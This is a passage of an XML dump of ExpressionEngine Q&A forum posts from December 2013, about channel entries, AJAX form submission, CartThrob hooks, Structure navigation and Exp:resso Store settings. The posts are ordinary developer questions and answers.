  <row Id="17544" PostTypeId="1" CreationDate="2013-12-09T14:14:34.120" Score="0" ViewCount="523" Body="&lt;p&gt;Is there a way to get an entry using only PHP? I've looked at the developer API, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&lt;/a&gt;, but there doesn't seem to be a way to fetch an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry = ee()-&amp;gt;api_channel_entries-&amp;gt;get_entry($entry_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2023-12-22T18:55:35.733" Title="Fetch entry using PHP" Tags="|channel-entries-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17545" PostTypeId="1" CreationDate="2013-12-09T14:16:56.130" Score="4" ViewCount="629" Body="&lt;p&gt;I have a standard channel form in a template with a number of fields that work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a grid field that contains one file fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I try I get &quot;There was a problem with one or more Grid fields&quot;. I've checked upload location permissions, posting permissions and anything else that's a common problem. Console isn't showing any errors or missing assets and template and php debugging similarly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. The grid and file fields are working fine from the admin interface.&lt;/p&gt;&#xA;" OwnerUserId="2477" LastActivityDate="2015-11-27T12:27:20.013" Title="Channel Form with Grid and File - &quot;There was a problem with one or more Grid fields&quot;" Tags="|channel-form|grid|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17546" PostTypeId="1" CreationDate="2013-12-09T14:32:16.207" Score="1" ViewCount="1738" Body="&lt;p&gt;I am displaying a tell-a-friend form in a twitter bootstrap modal, I want to post the form without EE's default redirect page, keeping the user within the modal with a success message saying their email was sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to post via ajax other EE forms (login/logout and some custom modules I built) but I am having trouble with the tell-a-friend form, below is my jQuery ajax code and tell-a-friend template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the jQuery validate library to only fire the form when all fields are satisfied. When I hit submit, it posts the data, sends the email successfully, redirects me to EE's default template saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank You!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Your email message has been sent.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Click here if you are not redirected automatically&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then redirects me to the page I was on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#email-a-friend-form&quot;).validate({&#xA;    submitHandler: function() {&#xA;&#xA;        $(&quot;#email-a-friend-form&quot;).submit(function(event) {&#xA;            event.preventDefault(); &#xA;&#xA;            var XID = $('#email-a-friend-form input[name=XID]');&#xA;            var RET = $('#email-a-friend-form input[name=RET]');&#xA;            var URI = $('#email-a-friend-form input[name=URI]');&#xA;            var ACT = $('#email-a-friend-form input[name=ACT]');&#xA;            var site_id = $('#email-a-friend-form input[name=site_id]');&#xA;&#xA;            var user_recipients = $('#email-a-friend-form input[name=user_recipients]');&#xA;            var replyto = $('#email-a-friend-form input[name=replyto]');&#xA;            var redirect = $('#email-a-friend-form input[name=redirect]');&#xA;            var charset = $('#email-a-friend-form input[name=charset]');&#xA;&#xA;            var to = $('#email-a-friend-form input[name=to]');&#xA;            var name = $('#email-a-friend-form input[name=name]');&#xA;            var from = $('#email-a-friend-form input[name=from]');&#xA;            var subject = $('#email-a-friend-form input[name=subject]');&#xA;            var message = $('#email-a-friend-form textarea[name=message]');&#xA;&#xA;             $.ajax({&#xA;                 url: $(&quot;#email-a-friend-form&quot;).attr(&quot;action&quot;), //your server side script&#xA;                 //url: '/index.php',&#xA;                 //data: $(this).serialize(),&#xA;                 data: { XID: XID, RET: RET, URI: URI, ACT: ACT, site_id: site_id, user_recipients: user_recipients, replyto: replyto, redirect: redirect, charset: charset, to: to, name: name, from: from, subject: subject, message: message },&#xA;                 type: 'POST',&#xA;                 success: function (data) {&#xA;                     //$('#response').append('&amp;lt;li&amp;gt;' + data + '&amp;lt;/li&amp;gt;');&#xA;                     $('#email-a-friend-form').hide();&#xA;                     $('#email-a-friend-form-response').html(&quot;&amp;lt;h3 style='text-align:center;'&amp;gt;Thank you, your email was sent&amp;lt;/h3&amp;gt;&quot;);&#xA;                 },&#xA;                 error: function (jxhr, msg, err) {&#xA;                     $('#email-a-friend-form-response').append('&amp;lt;li style=&quot;color:red&quot;&amp;gt;' + msg + '&amp;lt;/li&amp;gt;');&#xA;                 }&#xA;             });&#xA;        });&#xA;    }&#xA;});&#xA;&#xA;&#xA;{exp:email:tell_a_friend status=&quot;open|Featured&quot; form_id=&quot;email-a-friend-form&quot;}&#xA;    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Required fields*&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;to&quot;&amp;gt;*Receipient's Email: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;to&quot; name=&quot;to&quot; size=&quot;40&quot; maxlength=&quot;35&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;*Your Name: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_name}&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;from&quot;&amp;gt;*Your Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_email}&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; value=&quot;Check out this recipe {title}&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field comments&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;message&quot;&amp;gt;Comments:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; class=&quot;required&quot;&amp;gt;{title_permalink=&quot;recipes/view&quot;}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;submit&quot; type='submit' value='Submit Form' /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:email:tell_a_friend}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rendered html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;email-a-friend-form&quot; method=&quot;post&quot; action=&quot;http://domain.dev/&quot;  &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;d86fbce39b478093a96c57e4d07fd42a35acdaa3&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;5&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;recipes/view/chicken-tostada&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;recipients&quot; value=&quot;NjNhOWYwZWE3YmI5ODA1MDc5NmI2NDllODU0ODE4NDU=&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;user_recipients&quot; value=&quot;2e3b623e1a07a6150a744a7b74c18e69&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;charset&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;redirect&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;replyto&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Required fields*&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;to&quot;&amp;gt;*Receipient's Email: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;to&quot; name=&quot;to&quot; size=&quot;40&quot; maxlength=&quot;35&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;*Your Name: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;Brad Morse&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;from&quot;&amp;gt;*Your Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;bmorse@brandmovers.com&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; value=&quot;Check out this recipe Chicken Tostada&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field comments&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;message&quot;&amp;gt;Comments:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; class=&quot;required&quot;&amp;gt;http://misn003.dev/en/recipes/view/chicken-tostada&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;submit&quot; type='submit' value='Submit Form' /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;email-a-friend-form-response&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Bad jQuery, this did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#email-a-friend-form&quot;).validate({&#xA;    submitHandler: function() {&#xA;&#xA;         $.ajax({&#xA;             url: $(&quot;#email-a-friend-form&quot;).attr(&quot;action&quot;),&#xA;             data: $(&quot;#email-a-friend-form&quot;).serialize(),&#xA;             type: 'POST',&#xA;             success: function (data) {&#xA;                 $('#email-a-friend-form').hide();&#xA;                 $('#email-a-friend-form-response').html(&quot;&amp;lt;h3 style='text-align:center;'&amp;gt;Thank you, your email was sent!&amp;lt;/h3&amp;gt;&quot;);&#xA;             },&#xA;             error: function (jxhr, msg, err) {&#xA;                 $('#email-a-friend-form').append('&amp;lt;li style=&quot;color:red&quot;&amp;gt;' + msg + '&amp;lt;/li&amp;gt;');&#xA;             }&#xA;         });&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2013-12-10T15:43:22.697" LastActivityDate="2014-10-12T21:35:45.780" Title="ajax post without page redirect tell-a-friend form" Tags="|forms|jquery|ajax|tell-a-friend|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17547" PostTypeId="1" CreationDate="2013-12-09T14:57:04.863" Score="1" ViewCount="171" Body="&lt;p&gt;I've set up the &lt;code&gt;cartthrob_pre_process&lt;/code&gt; hook to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cartthrob_pre_process($data)&#xA;{&#xA;    $data['subtotal'] = 500.00;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It then goes to PayPal, which is the selected gateway. But when I get there it's showing the old price. Am I going about this the wrong way? Should I be using a different hook?&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2013-12-09T16:03:55.653" Title="Change cart subtotal in cartthrob using hook" Tags="|cartthrob|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17548" PostTypeId="2" ParentId="17544" CreationDate="2013-12-09T15:02:58.117" Score="0" Body="&lt;p&gt;Short answer: there is no API for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: there is no API, but... You could either check out &lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;ObjectiveHTML's Channel Data library&lt;/a&gt;. You could also try and utilize the Channel module. However, that path is completely undocumented, so if you decide to go that route, tread lightly.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-09T15:02:58.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17550" PostTypeId="1" CreationDate="2013-12-09T15:55:35.027" Score="0" ViewCount="98" Body="&lt;p&gt;I have a sidebar on my website that lists categories and should list the most recent entry under that category, and this is working great. My issue is that I have entries that use multiple categories, and when this is the case, the loop I created will spit out that entry for each category. So what I am asking is - is there a way to prevent this from happening. Maybe something that checks if that entry has been used in the loop before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;columns&quot; category_group=&quot;2&quot; orderby=&quot;asc&quot;}&#xA;        &amp;lt;div class=&quot;colCont&quot;&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;columns&quot; category=&quot;{category_id}&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;div id=&quot;colThumb&quot;&amp;gt;&amp;lt;img src=&quot;{if teaser-thumb}{teaser-thumb}{if:else}/uploads/thumbLogo.jpg{/if}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;colTeaser&quot;&amp;gt;&amp;lt;p id=&quot;colTitle&quot;&amp;gt;{category_name}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div id=&quot;colteaserCont&quot;&amp;gt;{column-teaser}&amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2243" LastEditorUserId="55" LastEditDate="2013-12-09T20:20:05.720" LastActivityDate="2013-12-09T20:20:05.720" Title="How to prevent repeat entries that have multiple categories" Tags="|categories|loop|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17551" PostTypeId="2" ParentId="17547" CreationDate="2013-12-09T16:03:55.653" Score="1" Body="&lt;p&gt;IIRC, you should be able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;set_subtotal(500);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you may have to change the total to effect the price sent to PayPal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;set_total(500);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-12-09T16:03:55.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17552" PostTypeId="1" AcceptedAnswerId="17741" CreationDate="2013-12-09T16:58:48.487" Score="2" ViewCount="157" Body="&lt;p&gt;&lt;em&gt;updated with EE and Structure Version&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2 Structure 3.3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a site with structure and for each section of the site the child pages will be in the side bar so that if I'm on domain.com/about In the sidebar I will see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About (h4 tag)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--sub page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--sub page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--sub page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However with the code (below) I&quot;m using it output all entries for the entire site. Please advise.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav &#xA;    css_class=&quot;side_navigation&quot;&#xA;    start_from=&quot;/{segment_1}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I end up with however is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- subpage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- subpage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- subpate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Services&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- subpage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- subpage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-12-10T14:46:27.043" LastActivityDate="2013-12-16T15:24:28.670" Title="Structure - subnav shows full nav, not sure why" Tags="|templates|structure|navigation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17553" PostTypeId="1" AcceptedAnswerId="17562" CreationDate="2013-12-09T17:12:16.783" Score="2" ViewCount="83" Body="&lt;p&gt;What's the best way to add additional countries to the system with Store 2.x? I see a button in the CP to add a new state option to a country, but no control for adding a new country. Is it possible to do without diving into the database and adding records directly?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-12-09T20:41:46.377" Title="Can I add more countries to Exp:resso Store shipping options?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17554" PostTypeId="1" CreationDate="2013-12-09T17:21:12.253" Score="2" ViewCount="76" Body="&lt;p&gt;I am trying to set up a form using Freeform Pro and when I try to use a &quot;Select&quot; field I am not able to click on any of the List type options. If I click on &quot;Load from Channel Field&quot; with the proper Channel Field selected I receive an error that says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You must choose some data option for multi-rows in order for this field type to work.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as though it is not letting me actually select a list type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-installed it, but it still didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2461" LastActivityDate="2014-02-08T16:28:47.967" Title="Freeform &quot;Field Options&quot; Multi-List List type not working" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17556" PostTypeId="1" AcceptedAnswerId="17559" CreationDate="2013-12-09T18:30:09.497" Score="1" ViewCount="110" Body="&lt;p&gt;Prior to Store 2.0 there was the option to have a product be tax free by selecting the option in the channel entries product details field. Why has this been removed and what is the best way to accomplish this task now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.92west.com/Store-Tax-Free.jpg&quot; rel=&quot;nofollow&quot;&gt;This image shows the difference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="613" LastActivityDate="2015-01-08T11:09:04.660" Title="Exp:resso Store tax free no longer available in channel entry" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17557" PostTypeId="2" ParentId="17553" CreationDate="2013-12-09T19:25:20.970" Score="1" Body="&lt;p&gt;Store picks up the countries from the &lt;code&gt;/system/expressionengine/config/countries.php&lt;/code&gt; file. The countries are stored in an array in that file so you can just add any new countries to that array and they should appear in Store.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="197" LastEditDate="2013-12-09T19:55:08.823" LastActivityDate="2013-12-09T19:55:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17558" PostTypeId="2" ParentId="17556" CreationDate="2013-12-09T19:53:56.473" Score="1" Body="&lt;p&gt;In the Store settings, you can now define tax settings by category, so you can set up a new native EE category group for your products and define which categories will trigger which tax rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this a little confusing at first, but it makes it more flexible than simply taxable and non-taxable.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-09T19:53:56.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17559" PostTypeId="2" ParentId="17556" CreationDate="2013-12-09T20:09:17.017" Score="1" Body="&lt;p&gt;This has been removed from Store 2 in favour of category based taxes, which are much more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't already done so, I recommend reading the &lt;a href=&quot;https://exp-resso.com/docs/store_20_upgrade_notes.html&quot; rel=&quot;nofollow&quot;&gt;Store 2.0 Upgrade Notes&lt;/a&gt;, which covers this topic (as well as many other important points when upgrading from 1.6 to 2.0):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Store 2 now allows for multiple taxes per order, and individual taxes may be applied to specific categories of products (using the built-in ExpressionEngine entry categories). Because of this more powerful tax system, the old “tax exempt” option has been removed from the publish page. If you have previously configured “tax exempt” products, you must create a new category for them which does not have any taxes applied to it instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-09T20:09:17.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17560" PostTypeId="2" ParentId="17543" CreationDate="2013-12-09T20:34:00.097" Score="3" Body="&lt;p&gt;The issuers field was missing from Store 2, and this has recently been fixed in Store 2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_210&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Added {gateway_name:issuer_options} variables for gateways which provide a list of issuers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Mollie-specific documentation needs updating, but the correct syntax for the issuers variable in Store 2 is &lt;code&gt;{gateway_name:issuer_options}&lt;/code&gt;. So you would use this in your templates like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- inside your {exp:store:checkout} tag on the final page --&amp;gt;&#xA;&amp;lt;select name=&quot;payment[issuer]&quot;&amp;gt;{mollie:issuer_options}&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should pre-populate with a list of banks provided by Mollie for your customer to select.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-09T20:34:00.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17561" PostTypeId="2" ParentId="12487" CreationDate="2013-12-09T20:37:30.847" Score="0" Body="&lt;p&gt;The Mollie gateway works similarly to iDeal. In Store 1, you need to add the following code to your template on the final page of your checkout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[issuer]&quot;&amp;gt;&#xA;    {mollie_issuer_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Store 2, this variable has been renamed to &lt;code&gt;{mollie:issuer_options}&lt;/code&gt;, so use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[issuer]&quot;&amp;gt;&#xA;    {mollie:issuer_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will pre-populate with a list of banks (issuers) automatically fetched from Mollie. Your customer can select one of these, and will then be redirected to the correct website for payment once they submit the form.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-09T20:37:30.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17562" PostTypeId="2" ParentId="17553" CreationDate="2013-12-09T20:41:46.377" Score="2" Body="&lt;p&gt;Store 1 uses EE's internal list of countries at &lt;code&gt;system/expressionengine/config/countries.php&lt;/code&gt; as Justin mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store 2 has its own list of countries at &lt;code&gt;third_party/store/data/countries.php&lt;/code&gt;. When Store is installed, these are copied into the &lt;code&gt;exp_store_countries&lt;/code&gt; database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're feeling revolutionary, and you have already installed Store, the best option is to simply update the &lt;code&gt;exp_store_countries&lt;/code&gt; table directly. There is no control panel interface for this, but there's no danger in doing it and your changes won't be overridden with any future upgrades.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-09T20:41:46.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17563" PostTypeId="1" CreationDate="2013-12-09T20:42:33.037" Score="0" ViewCount="68" Body="&lt;p&gt;I can't get the themes to work, it just shows &quot;default&quot; in the theme drop-down box. Have coppied everything into the right places in my EE installation, apart from the asset folder, no idea where that is supposed to go. Can anybody shed any light on this at all please? Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="197" LastEditDate="2013-12-10T02:13:33.983" LastActivityDate="2013-12-10T02:14:59.270" Title="How do I install a new control panel theme?" Tags="|cp-themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17564" PostTypeId="2" ParentId="17532" CreationDate="2013-12-09T20:45:41.533" Score="1" Body="&lt;p&gt;Since you have only created shipping rules for Hong Kong and United States, the most likely explanation is that your current cart does not have a shipping country set. In Store 2, if there are no rules matching the current cart for a particular shipping method, that method no longer displays in the checkout (since it is effectively unavailable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you should set a default country for new carts. You can do this under Store &gt; Settings &gt; Countries / States. Make sure to empty your cart after changing this setting, as it only applies to new carts. You can verify this is correct by displaying the &lt;code&gt;{shipping_country}&lt;/code&gt; variable in your template.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-09T20:45:41.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17565" PostTypeId="1" AcceptedAnswerId="17571" CreationDate="2013-12-09T22:18:12.383" Score="5" ViewCount="275" Body="&lt;p&gt;this may be somewhat of a noob question as I just started administering an ExpressionEngine site that uses CartThrob. My client complained of the site being slow during the shopping / checkout process so I enabled SQL profiling in EE to look into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed something strange, which is that CartThrob is making many queries during each page load, far more than I would expect. Basically the page template uses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp:cartthrob:add_to_cart_form&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;six times to show six different products. Then uses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp:cartthrob:item_options&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within each one to pull some various information about the product. The strange thing is that a single SQL SELECT and another SQL UPDATE query seem to be running over and over again on the same page (each of them runs over 50 